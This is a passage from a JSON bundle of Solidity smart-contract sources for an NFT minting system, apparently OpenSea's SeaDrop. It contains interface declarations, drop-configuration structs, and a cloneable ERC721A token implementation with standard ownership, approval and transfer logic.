INonFungibleSeaDropToken.\n *\n * @param feeRecipient The fee recipient.\n * @param allowed If the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(address feeRecipient, bool allowed)\n external;\n\n /**\n * @notice Updates the allowed server-side signers and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param signer The signer to update.\n * @param signedMintValidationParams Minimum and maximum parameters\n * to enforce for signed mints.\n */\n function updateSignedMintValidationParams(\n address signer,\n SignedMintValidationParams calldata signedMintValidationParams\n ) external;\n\n /**\n * @notice Updates the allowed payer and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param payer The payer to add or remove.\n * @param allowed Whether to add or remove the payer.\n */\n function updatePayer(address payer, bool allowed) external;\n\n /**\n * @notice Returns the public drop data for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getPublicDrop(address nftContract)\n external\n view\n returns (PublicDrop memory);\n\n /**\n * @notice Returns the creator payout address for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getCreatorPayoutAddress(address nftContract)\n external\n view\n returns (address);\n\n /**\n * @notice Returns the allow list merkle root for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getAllowListMerkleRoot(address nftContract)\n external\n view\n returns (bytes32);\n\n /**\n * @notice Returns if the specified fee recipient is allowed\n * for the nft contract.\n *\n * @param nftContract The nft contract.\n * @param feeRecipient The fee recipient.\n */\n function getFeeRecipientIsAllowed(address nftContract, address feeRecipient)\n external\n view\n returns (bool);\n\n /**\n * @notice Returns an enumeration of allowed fee recipients for an\n * nft contract when fee recipients are enforced\n *\n * @param nftContract The nft contract.\n */\n function getAllowedFeeRecipients(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns the server-side signers for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getSigners(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns the struct of SignedMintValidationParams for a signer.\n *\n * @param nftContract The nft contract.\n * @param signer The signer.\n */\n function getSignedMintValidationParams(address nftContract, address signer)\n external\n view\n returns (SignedMintValidationParams memory);\n\n /**\n * @notice Returns the payers for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getPayers(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns if the specified payer is allowed\n * for the nft contract.\n *\n * @param nftContract The nft contract.\n * @param payer The payer.\n */\n function getPayerIsAllowed(address nftContract, address payer)\n external\n view\n returns (bool);\n\n /**\n * @notice Returns the allowed token gated drop tokens for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getTokenGatedAllowedTokens(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns the token gated drop data for the nft contract\n * and token gated nft.\n *\n * @param nftContract The nft contract.\n * @param allowedNftToken The token gated nft token.\n */\n function getTokenGatedDrop(address nftContract, address allowedNftToken)\n external\n view\n returns (TokenGatedDropStage memory);\n\n /**\n * @notice Returns whether the token id for a token gated drop has been\n * redeemed.\n *\n * @param nftContract The nft contract.\n * @param allowedNftToken The token gated nft token.\n * @param allowedNftTokenId The token gated nft token id to check.\n */\n function getAllowedNftTokenIdIsRedeemed(\n address nftContract,\n address allowedNftToken,\n uint256 allowedNftTokenId\n ) external view returns (bool);\n}\n"
},
"src/lib/SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in one storage slot.\n * \n * @param mintPrice The mint price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param startTime The start time, ensure this is not zero.\n * @param endTIme The end time, ensure this is not zero.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct PublicDrop {\n uint80 mintPrice; // 80/256 bits\n uint48 startTime; // 128/256 bits\n uint48 endTime; // 176/256 bits\n uint16 maxTotalMintableByWallet; // 224/256 bits\n uint16 feeBps; // 240/256 bits\n bool restrictFeeRecipients; // 248/256 bits\n}\n\n/**\n * @notice A struct defining token gated drop stage data.\n * Designed to fit efficiently in one storage slot.\n * \n * @param mintPrice The mint price per token. (Up to 1.2m \n * of native token, e.g.: ETH, MATIC)\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be \n * non-zero since the public mint emits\n * with index zero.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct TokenGatedDropStage {\n uint80 mintPrice; // 80/256 bits\n uint16 maxTotalMintableByWallet; // 96/256 bits\n uint48 startTime; // 144/256 bits\n uint48 endTime; // 192/256 bits\n uint8 dropStageIndex; // non-zero. 200/256 bits\n uint32 maxTokenSupplyForStage; // 232/256 bits\n uint16 feeBps; // 248/256 bits\n bool restrictFeeRecipients; // 256/256 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n * \n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n * \n * @param mintPrice The mint price per token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 mintPrice; \n uint256 maxTotalMintableByWallet;\n uint256 startTime;\n uint256 endTime;\n uint256 dropStageIndex; // non-zero\n uint256 maxTokenSupplyForStage;\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @notice A struct defining token gated mint params.\n * \n * @param allowedNftToken The allowed nft token contract address.\n * @param allowedNftTokenIds The token ids to redeem.\n */\nstruct TokenGatedMintParams {\n address allowedNftToken;\n uint256[] allowedNftTokenIds;\n}\n\n/**\n * @notice A struct defining allow list data (for minting an allow list).\n * \n * @param merkleRoot The merkle root for the allow list.\n * @param publicKeyURIs If the allowListURI is encrypted, a list of URIs\n * pointing to the public keys. Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\nstruct AllowListData {\n bytes32 merkleRoot;\n string[] publicKeyURIs;\n string allowListURI;\n}\n\n/**\n * @notice A struct defining minimum and maximum parameters to validate for \n * signed mints, to minimize negative effects of a compromised signer.\n *\n * @param minMintPrice The minimum mint price allowed.\n * @param maxMaxTotalMintableByWallet The maximum total number of mints allowed\n * by a wallet.\n * @param minStartTime The minimum start time allowed.\n * @param maxEndTime The maximum end time allowed.\n * @param maxMaxTokenSupplyForStage The maximum token supply allowed.\n * @param minFeeBps The minimum fee allowed.\n * @param maxFeeBps The maximum fee allowed.\n */\nstruct SignedMintValidationParams {\n uint80 minMintPrice; // 80/256 bits\n uint24 maxMaxTotalMintableByWallet; // 104/256 bits\n uint40 minStartTime; // 144/256 bits\n uint40 maxEndTime; // 184/256 bits\n uint40 maxMaxTokenSupplyForStage; // 224/256 bits\n uint16 minFeeBps; // 240/256 bits\n uint16 maxFeeBps; // 256/256 bits\n}"
},
"src/lib/ERC721SeaDropStructsErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n AllowListData,\n PublicDrop,\n SignedMintValidationParams,\n TokenGatedDropStage\n} from \"./SeaDropStructs.sol\";\n\ninterface ERC721SeaDropStructsErrorsAndEvents {\n /**\n * @notice Revert with an error if mint exceeds the max supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @notice Revert with an error if the number of token gated \n * allowedNftTokens doesn't match the length of supplied\n * drop stages.\n */\n error TokenGatedMismatch();\n\n /**\n * @notice Revert with an error if the number of signers doesn't match\n * the length of supplied signedMintValidationParams\n */\n error SignersMismatch();\n\n /**\n * @notice An event to signify that a SeaDrop token contract was deployed.\n */\n event SeaDropTokenDeployed();\n\n /**\n * @notice A struct to configure multiple contract options at a time.\n */\n struct MultiConfigureStruct {\n uint256 maxSupply;\n string baseURI;\n string contractURI;\n address seaDropImpl;\n PublicDrop publicDrop;\n string dropURI;\n AllowListData allowListData;\n address creatorPayoutAddress;\n bytes32 provenanceHash;\n\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n\n address[] allowedPayers;\n address[] disallowedPayers;\n\n // Token-gated\n address[] tokenGatedAllowedNftTokens;\n TokenGatedDropStage[] tokenGatedDropStages;\n address[] disallowedTokenGatedAllowedNftTokens;\n\n // Server-signed\n address[] signers;\n SignedMintValidationParams[] signedMintValidationParams;\n address[] disallowedSigners;\n }\n}"
},
"src/clones/ERC721ACloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// ERC721A Contracts v4.2.2\n// Creator: Chiru Labs\n\npragma solidity ^0.8.4;\n\nimport { IERC721A } from \"ERC721A/IERC721A.sol\";\n\nimport {\n Initializable\n} from \"openzeppelin-contracts-upgradeable/proxy/utils/Initializable.sol\";\n\n/**\n * @dev Interface of ERC721 token receiver.\n */\ninterface ERC721A__IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\n/**\n * @title ERC721A\n *\n * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721)\n * Non-Fungible Token Standard, including the Metadata extension.\n * Optimized for lower gas during batch mints.\n *\n * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...)\n * starting from `_startTokenId()`.\n *\n * Assumptions:\n *\n * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply.\n * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256).\n */\ncontract ERC721ACloneable is IERC721A, Initializable {\n // Bypass for a `--via-ir` bug (https://github.com/chiru-labs/ERC721A/pull/364).\n struct TokenApprovalRef {\n address value;\n }\n\n // =============================================================\n // CONSTANTS\n // =============================================================\n\n // Mask of an entry in packed address data.\n uint256 private constant _BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;\n\n // The bit position of `numberMinted` in packed address data.\n uint256 private constant _BITPOS_NUMBER_MINTED = 64;\n\n // The bit position of `numberBurned` in packed address data.\n uint256 private constant _BITPOS_NUMBER_BURNED = 128;\n\n // The bit position of `aux` in packed address data.\n uint256 private constant _BITPOS_AUX = 192;\n\n // Mask of all 256 bits in packed address data except the 64 bits for `aux`.\n uint256 private constant _BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;\n\n // The bit position of `startTimestamp` in packed ownership.\n uint256 private constant _BITPOS_START_TIMESTAMP = 160;\n\n // The bit mask of the `burned` bit in packed ownership.\n uint256 private constant _BITMASK_BURNED = 1 << 224;\n\n // The bit position of the `nextInitialized` bit in packed ownership.\n uint256 private constant _BITPOS_NEXT_INITIALIZED = 225;\n\n // The bit mask of the `nextInitialized` bit in packed ownership.\n uint256 private constant _BITMASK_NEXT_INITIALIZED = 1 << 225;\n\n // The bit position of `extraData` in packed ownership.\n uint256 private constant _BITPOS_EXTRA_DATA = 232;\n\n // Mask of all 256 bits in a packed ownership except the 24 bits for `extraData`.\n uint256 private constant _BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;\n\n // The mask of the lower 160 bits for addresses.\n uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1;\n\n // The maximum `quantity` that can be minted with {_mintERC2309}.\n // This limit is to prevent overflows on the address data entries.\n // For a limit of 5000, a total of 3.689e15 calls to {_mintERC2309}\n // is required to cause an overflow, which is unrealistic.\n uint256 private constant _MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;\n\n // The `Transfer` event signature is given by:\n // `keccak256(bytes(\"Transfer(address,address,uint256)\"))`.\n bytes32 private constant _TRANSFER_EVENT_SIGNATURE =\n 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;\n\n // =============================================================\n // STORAGE\n // =============================================================\n\n // The next token ID to be minted.\n uint256 private _currentIndex;\n\n // The number of tokens burned.\n uint256 private _burnCounter;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to ownership details\n // An empty struct value does not necessarily mean the token is unowned.\n // See {_packedOwnershipOf} implementation for details.\n //\n // Bits Layout:\n // - [0..159] `addr`\n // - [160..223] `startTimestamp`\n // - [224] `burned`\n // - [225] `nextInitialized`\n // - [232..255] `extraData`\n mapping(uint256 => uint256) private _packedOwnerships;\n\n // Mapping owner address to address data.\n //\n // Bits Layout:\n // - [0..63] `balance`\n // - [64..127] `numberMinted`\n // - [128..191] `numberBurned`\n // - [192..255] `aux`\n mapping(address => uint256) private _packedAddressData;\n\n // Mapping from token ID to approved address.\n mapping(uint256 => TokenApprovalRef) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n // =============================================================\n // CONSTRUCTOR\n // =============================================================\n\n function __ERC721ACloneable__init(\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n _name = name_;\n _symbol = symbol_;\n _currentIndex = _startTokenId();\n }\n\n // =============================================================\n // TOKEN COUNTING OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the starting token ID.\n * To change the starting token ID, please override this function.\n */\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n /**\n * @dev Returns the next token ID to be minted.\n */\n function _nextTokenId() internal view virtual returns (uint256) {\n return _currentIndex;\n }\n\n /**\n * @dev Returns the total number of tokens in existence.\n * Burned tokens will reduce the count.\n * To get the total number of tokens minted, please see {_totalMinted}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n // Counter underflow is impossible as _burnCounter cannot be incremented\n // more than `_currentIndex - _startTokenId()` times.\n unchecked {\n return _currentIndex - _burnCounter - _startTokenId();\n }\n }\n\n /**\n * @dev Returns the total amount of tokens minted in the contract.\n */\n function _totalMinted() internal view virtual returns (uint256) {\n // Counter underflow is impossible as `_currentIndex` does not decrement,\n // and it is initialized to `_startTokenId()`.\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n /**\n * @dev Returns the total number of tokens burned.\n */\n function _totalBurned() internal view virtual returns (uint256) {\n return _burnCounter;\n }\n\n // =============================================================\n // ADDRESS DATA OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the number of tokens in `owner`'s account.\n */\n function balanceOf(address owner)\n public\n view\n virtual\n override\n returns (uint256)\n {\n if (owner == address(0)) revert BalanceQueryForZeroAddress();\n return _packedAddressData[owner] & _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n /**\n * Returns the number of tokens minted by `owner`.\n */\n function _numberMinted(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> _BITPOS_NUMBER_MINTED) &\n _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n /**\n * Returns the number of tokens burned by or on behalf of `owner`.\n */\n function _numberBurned(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> _BITPOS_NUMBER_BURNED) &\n _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n /**\n * Returns the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).\n */\n function _getAux(address owner) internal view returns (uint64) {\n return uint64(_packedAddressData[owner] >> _BITPOS_AUX);\n }\n\n /**\n * Sets the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).\n * If there are multiple variables, please pack them into a uint64.\n */\n function _setAux(address owner, uint64 aux) internal virtual {\n uint256 packed = _packedAddressData[owner];\n uint256 auxCasted;\n // Cast `aux` with assembly to avoid redundant masking.\n assembly {\n auxCasted := aux\n }\n packed =\n (packed & _BITMASK_AUX_COMPLEMENT) |\n (auxCasted << _BITPOS_AUX);\n _packedAddressData[owner] = packed;\n }\n\n // =============================================================\n // IERC165\n // =============================================================\n\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30000 gas.\n */\n function supportsInterface(bytes4 interfaceId)\n public\n view\n virtual\n override\n returns (bool)\n {\n // The interface IDs are constants representing the first 4 bytes\n // of the XOR of all function selectors in the interface.\n // See: [ERC165](https://eips.ethereum.org/EIPS/eip-165)\n // (e.g. `bytes4(i.functionA.selector ^ i.functionB.selector ^ ...)`)\n return\n interfaceId == 0x01ffc9a7 || // ERC165 interface ID for ERC165.\n interfaceId == 0x80ac58cd || // ERC165 interface ID for ERC721.\n interfaceId == 0x5b5e139f; // ERC165 interface ID for ERC721Metadata.\n }\n\n // =============================================================\n // IERC721Metadata\n // =============================================================\n\n /**\n * @dev Returns the token collection name.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId)\n public\n view\n virtual\n override\n returns (string memory)\n {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n return\n bytes(baseURI).length != 0\n ? string(abi.encodePacked(baseURI, _toString(tokenId)))\n : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, it can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n // =============================================================\n // OWNERSHIPS OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId)\n public\n view\n virtual\n override\n returns (address)\n {\n return address(uint160(_packedOwnershipOf(tokenId)));\n }\n\n /**\n * @dev Gas spent here starts off proportional to the maximum mint batch size.\n * It gradually moves to O(1) as tokens get transferred around over time.\n */\n function _ownershipOf(uint256 tokenId)\n internal\n view\n virtual\n returns (TokenOwnership memory)\n {\n return _unpackedOwnership(_packedOwnershipOf(tokenId));\n }\n\n /**\n * @dev Returns the unpacked `TokenOwnership` struct at `index`.\n */\n function _ownershipAt(uint256 index)\n internal\n view\n virtual\n returns (TokenOwnership memory)\n {\n return _unpackedOwnership(_packedOwnerships[index]);\n }\n\n /**\n * @dev Initializes the ownership slot minted at `index` for efficiency purposes.\n */\n function _initializeOwnershipAt(uint256 index) internal virtual {\n if (_packedOwnerships[index] == 0) {\n _packedOwnerships[index] = _packedOwnershipOf(index);\n }\n }\n\n /**\n * Returns the packed ownership data of `tokenId`.\n */\n function _packedOwnershipOf(uint256 tokenId)\n private\n view\n returns (uint256)\n {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr) {\n if (curr < _currentIndex) {\n uint256 packed = _packedOwnerships[curr];\n // If not burned.\n if (packed & _BITMASK_BURNED == 0) {\n // Invariant:\n // There will always be an initialized ownership slot\n // (i.e. `ownership.addr != address(0) && ownership.burned == false`)\n // before an unintialized ownership slot\n // (i.e. `ownership.addr == address(0) && ownership.burned == false`)\n // Hence, `curr` will not underflow.\n //\n // We can directly compare the packed value.\n // If the address is zero, packed will be zero.\n while (packed == 0) {\n packed = _packedOwnerships[--curr];\n }\n return packed;\n }\n }\n }\n }\n revert OwnerQueryForNonexistentToken();\n }\n\n /**\n * @dev Returns the unpacked `TokenOwnership` struct from `packed`.\n */\n function _unpackedOwnership(uint256 packed)\n private\n pure\n returns (TokenOwnership memory ownership)\n {\n ownership.addr = address(uint160(packed));\n ownership.startTimestamp = uint64(packed >> _BITPOS_START_TIMESTAMP);\n ownership.burned = packed & _BITMASK_BURNED != 0;\n ownership.extraData = uint24(packed >> _BITPOS_EXTRA_DATA);\n }\n\n /**\n * @dev Packs ownership data into a single uint256.\n */\n function _packOwnershipData(address owner, uint256 flags)\n private\n view\n returns (uint256 result)\n {\n assembly {\n // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.\n owner := and(owner, _BITMASK_ADDRESS)\n // `owner | (block.timestamp << _BITPOS_START_TIMESTAMP) | flags`.\n result := or(\n owner,\n or(shl(_BITPOS_START_TIMESTAMP, timestamp()), flags)\n )\n }\n }\n\n /**\n * @dev Returns the `nextInitialized` flag set if `quantity` equals 1.\n */\n function _nextInitializedFlag(uint256 quantity)\n private\n pure\n returns (uint256 result)\n {\n // For branchless setting of the `nextInitialized` flag.\n assembly {\n // `(quantity == 1) << _BITPOS_NEXT_INITIALIZED`.\n result := shl(_BITPOS_NEXT_INITIALIZED, eq(quantity, 1))\n }\n }\n\n // =============================================================\n // APPROVAL OPERATIONS\n // =============================================================\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the\n * zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ownerOf(tokenId);\n\n if (_msgSenderERC721A() != owner) {\n if (!isApprovedForAll(owner, _msgSenderERC721A())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n }\n\n _tokenApprovals[tokenId].value = to;\n emit Approval(owner, to, tokenId);\n }\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId)\n public\n view\n virtual\n override\n returns (address)\n {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId].value;\n }\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom}\n * for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool approved)\n public\n virtual\n override\n {\n _operatorApprovals[_msgSenderERC721A()][operator] = approved;\n emit ApprovalForAll(_msgSenderERC721A(), operator, approved);\n }\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n override\n returns (bool)\n {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted. See {_mint}.\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return\n _startTokenId() <= tokenId &&\n tokenId < _currentIndex && // If within bounds,\n _packedOwnerships[tokenId] & _BITMASK_BURNED == 0; // and not burned.\n }\n\n /**\n * @dev Returns whether `msgSender` is equal to `approvedAddress` or `owner`.\n */\n function _isSenderApprovedOrOwner(\n address approvedAddress,\n address owner,\n address msgSender\n ) private pure returns (bool result) {\n assembly {\n // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.\n owner := and(owner, _BITMASK_ADDRESS)\n // Mask `msgSender` to the lower 160 bits, in case the upper bits somehow aren't clean.\n msgSender := and(msgSender, _BITMASK_ADDRESS)\n // `msgSender == owner || msgSender == approvedAddress`.\n result := or(eq(msgSender, owner), eq(msgSender, approvedAddress))\n }\n }\n\n /**\n * @dev Returns the storage slot and value for the approved address of `tokenId`.\n */\n function _getApprovedSlotAndAddress(uint256 tokenId)\n private\n view\n returns (uint256 approvedAddressSlot, address approvedAddress)\n {\n TokenApprovalRef storage tokenApproval = _tokenApprovals[tokenId];\n // The following is equivalent to `approvedAddress = _tokenApprovals[tokenId].value`.\n assembly {\n approvedAddressSlot := tokenApproval.slot\n approvedAddress := sload(approvedAddressSlot)\n }\n }\n\n // =============================================================\n // TRANSFER OPERATIONS\n // =============================================================\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n if (address(uint160(prevOwnershipPacked)) != from)\n revert TransferFromIncorrectOwner();\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedSlotAndAddress(tokenId);\n\n // The nested ifs save around 20+ gas over a compound boolean condition.\n if (\n !_isSenderApprovedOrOwner(\n approvedAddress,\n from,\n _msgSenderERC721A()\n )\n ) {\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n revert TransferCallerNotOwnerNorApproved();\n }\n\n if (to == address(0)) revert TransferToZeroAddress();\n\n _beforeTokenTransfers(from, to, tokenId, 1);\n\n // Clear approvals from the previous owner.\n assembly {\n if approvedAddress {\n // This is equivalent to `delete _tokenApprovals[tokenId]`.\n sstore(approvedAddressSlot, 0)\n }\n }\n\n // Underflow of the sender's balance is impossible because we check for\n // ownership above and the recipient's balance can't realistically overflow.\n // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.\n unchecked {\n // We can directly increment and decrement the balances.\n --_packedAddressData[from]; // Updates: `balance -= 1`.\n ++_packedAddressData[to]; // Updates: `balance += 1`.\n\n // Updates:\n // - `address` to the next owner.\n // - `startTimestamp` to the timestamp of transfering.\n // - `burned` to `false`.\n // - `nextInitialized` to `true`.\n _packedOwnerships[tokenId] = _packOwnershipData(\n to,\n _BITMASK_NEXT_INITIALIZED |\n _nextExtraData(from, to, prevOwnershipPacked)\n );\n\n // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .\n if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n // If the next slot's address is zero and not burned (i.e. packed value is zero).\n if (_packedOwnerships[nextTokenId] == 0) {\n // If the next slot is within bounds.\n if (nextTokenId != _currentIndex) {\n // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n /**\n * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n transferFrom(from, to, tokenId);\n if (to.code.length != 0) {\n if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n }\n }\n\n /**\n * @dev Hook that is called before a set of serially-ordered token IDs\n * are about to be transferred. This includes minting.\n * And also called before burning one token.\n *\n * `startTokenId` - the first token ID to be transferred.\n * `quantity` - the amount to be transferred.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, `tokenId` will be burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _beforeTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after a set of serially-ordered token IDs\n * have been transferred. This includes minting.\n * And also called after one token has been burned.\n *\n * `startTokenId` - the first token ID to be transferred.\n * `quantity` - the amount to be transferred.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been\n * transferred to `to`.\n * - When `from` is zero, `tokenId` has been minted for `to`.\n * - When `to` is zero, `tokenId` has been burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n /**\n * @dev Private function to invoke {IERC721Receiver-onERC721Received} on a target contract.\n *\n * `from` - Previous owner of the given token ID.\n * `to` - Target address that will receive the token.\n * `tokenId` - Token ID to be transferred.\n * `_data` - Optional data to send along with the call.\n *\n * Returns whether the call correctly returned the expected magic value.\n */\n function _checkContractOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes 